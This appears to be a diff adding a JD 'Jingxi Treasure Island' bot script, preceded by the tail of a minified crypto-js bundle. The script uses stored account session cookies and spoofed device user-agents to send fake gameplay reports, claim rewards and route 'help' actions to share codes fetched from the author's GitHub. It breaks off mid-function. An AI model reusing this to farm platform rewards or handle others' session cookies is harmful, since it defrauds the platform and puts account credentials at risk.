_doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}, num +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.appId = 10028; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + num = 0 + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + // 寻宝 + console.log(`寻宝`) + let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.dwRemainCnt !== 2) + if (XBDetail.length !== 0) { + console.log(`开始寻宝`) + for (let key of Object.keys(XBDetail)) { + let vo = XBDetail[key] + await $.wait(2000) + await TreasureHunt(vo.strIndex) + } + } else { + console.log(`暂无宝物`) + } + + //每日签到 + await $.wait(2000) + await getTakeAggrPage('sign') + + //小程序每日签到 + await $.wait(2000) + await getTakeAggrPage('wxsign') + + //助力奖励 + await $.wait(2000) + await getTakeAggrPage('helpdraw') + + console.log('') + //卖贝壳 + // await $.wait(2000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(2000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}` + await getBuildInfo(body, vo) + await $.wait(2000) + } + + //合成珍珠 + // if (nowTimes.getHours() >= 5) { + // await $.wait(2000) + // await composeGameState() + // } + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(2000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(2000) + await querystorageroom('2') + await $.wait(2000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + console.log(`当前暂无收藏家\n`) + } + } + } else { + console.log(`当前暂无收藏家\n`) + } + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(2000) + await queryRubbishInfo() + + //雇导游 + await $.wait(2000); + await employTourGuideInfo(); + + console.log(`\n做任务`) + //牛牛任务 + await $.wait(2000) + await getActTask() + + //日常任务 + await $.wait(2000); + await getTaskList(0); + await $.wait(2000); + await browserTask(0); + + //成就任务 + await $.wait(2000); + await getTaskList(1); + await $.wait(2000); + await browserTask(1); + + await $.wait(2000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + } catch (e) { + $.logErr(e) + } +} + +// 寻宝 +function TreasureHunt(strIndex) { + return new Promise((resolve) => { + $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + if (data.AwardInfo.dwAwardType === 0) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) + } else if (data.AwardInfo.dwAwardType === 1) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) + console.log(JSON.stringify(data)) + } else if (data.AwardInfo.dwAwardType === 4) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(`寻宝失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 合成珍珠 +async function composeGameState(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/ComposeGameState`, `dwFirst=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameState API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + console.log(`合成珍珠`) + if (data.iRet === 0) { + if (data.dwCurProgress < data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt && data.strDT) { + let count = data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt + console.log(`当前已合成${data.dwCurProgress}颗珍珠,还需合成珍珠${count - data.dwCurProgress}颗\n`) + for (let j = data.dwCurProgress; j < count; j++) { + let num = Math.ceil(Math.random() * 12 + 12) + console.log(`合成珍珠:模拟操作${num}次`) + for (let v = 0; v < num; v++) { + console.log(`模拟操作进度:${v + 1}/${num}`) + await $.wait(2000) + await realTmReport(data.strMyShareId) + } + let res = await composeGameAddProcess(data.strDT) + if (res.iRet === 0) { + console.log(`\n合成珍珠成功:${j + 1}/${count}\n`) + } else { + console.log(`\n合成珍珠失败:${data.sErrMsg}\n`) + } + } + let composeGameStateRes = await composeGameState(false) + console.log("合成珍珠领奖") + for (let key of Object.keys(composeGameStateRes.stagelist)) { + let vo = composeGameStateRes.stagelist[key] + if (vo.dwIsAward == 0 && composeGameStateRes.dwCurProgress >= vo.dwCurStageEndCnt) { + await $.wait(2000) + await composeGameAward(vo.dwCurStageEndCnt) + } + } + } else { + console.log(`今日已完成\n`) + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function realTmReport(strMyShareId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/RealTmReport`, `dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=5`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function composeGameAddProcess(strDT) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposeGameAddProcess`, `strBT=${strDT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameAddProcess API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function composeGameAward(dwCurStageEndCnt) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposeGameAward`, `dwCurStageEndCnt=${dwCurStageEndCnt}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + if (data.dwPrizeType === 0) { + console.log(`合成珍珠领奖成功:获得${data.ddwCoin}金币`) + } else if (data.dwPrizeType === 1) { + console.log(`合成珍珠领奖成功:获得${data.ddwMoney}财富\n`) + } + } else { + console.log(`合成珍珠领奖失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 接待贵宾 +function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 收藏家 +function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 美人鱼 +async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(2000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 卖贝壳 +async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(2000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 每日签到 +async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`\n每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'wxsign': + $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`小程序每日签到`) + for (let key of 